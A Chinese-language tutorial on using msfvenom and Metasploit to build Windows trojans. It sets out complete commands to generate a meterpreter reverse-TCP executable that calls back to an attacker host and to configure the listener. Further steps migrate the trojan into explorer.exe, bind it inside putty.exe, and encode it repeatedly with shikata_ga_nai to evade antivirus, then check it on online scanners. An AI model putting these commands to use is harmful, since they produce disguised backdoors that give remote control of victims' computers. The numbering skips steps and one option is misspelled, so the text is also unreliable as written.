Msfvenom是Metasploit框架中的一个强大工具,用于生成定制的恶意软件载荷,包括反向Shell、Meterpreter Shell、编码的Payload等[3]。它主要用来生成带后门的软件,是Msfpayload和Msfencode的组合,用于生成木马和软件捆绑后门[1][2][4]。在Kali Linux中有一个集成好的工具是msfvenom,主要用于生成后门和软件捆绑后门,其免杀效果还算不错[5]。
1. 生成木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.201 LPORT=5555 -f exe -o shell.exe
2. 监听木马
在攻击端使用监听模块:
use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
这里看到默认使用的是 generic/shell_reverse_tcp , 我们修改为自己的 windows/meterpreter/reverse_tcp
set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
查看payload选项:
show options
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
监听的配置需要与木马一致.
这里默认监听的是4444端口, 修改为自己的木马端口:
set lport 5555
lport => 5555
设置木马的 lhost:
set lhost 192.168.112.201
lhost => 192.168.112.201
开启监听:
run
[*] Started reverse TCP handler on 192.168.112.201:5555
到目标主机运行shell.exe木马后, 回到msf等待连接.
5. 进程注入
木马运行后注入到主机的explorer.exe进程中, 即使shell.exe进程结束也不影响木马工作.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.201 LPORT=5555 prependmigrateprocess=explorer.exe prpendmigrate=true -f exe -o shell2.exe
6. 程序捆绑
将木马与其他exe程序进行捆绑, 生成一个新的exe程序, 当程序运行的同时也执行木马.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.201 LPORT=5555 -a x86 --platform windows -x putty.exe -k -f exe -o shell3.exe
7. 编码免杀
使用 shikata_ga_nai 编码进行10次编码.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.201 LPORT=5555 -e x86/shikata_ga_nai -i 10 -f exe -o shell4.exe
8. 在线检测木马
https://www.virustotal.com
https://www.virscan.org/language/zh-cn
9. 查看支持的格式
msfvenom --list formats
Framework Executable Formats [--format <value>]
===============================================
Name
----
asp
aspx
aspx-exe
axis2
dll
ducky-script-psh
elf
elf-so
exe
exe-only
exe-service
exe-small
hta-psh
jar
jsp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psh-net
psh-reflection
python-reflection
vba
vba-exe
vba-psh
vbs
war
Framework Transform Formats [--format <value>]
==============================================
Name
----
base32
base64
bash
c
csharp
dw
dword
go
golang
hex
java
js_be
js_le
masm
nim
nimlang
num
perl
pl
powershell
ps1
py
python
raw
rb
ruby
rust
rustlang
sh
vbapplication
vbscript
10. 查看所有编码器
Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder
x86/xor_poly normal XOR POLY Encoder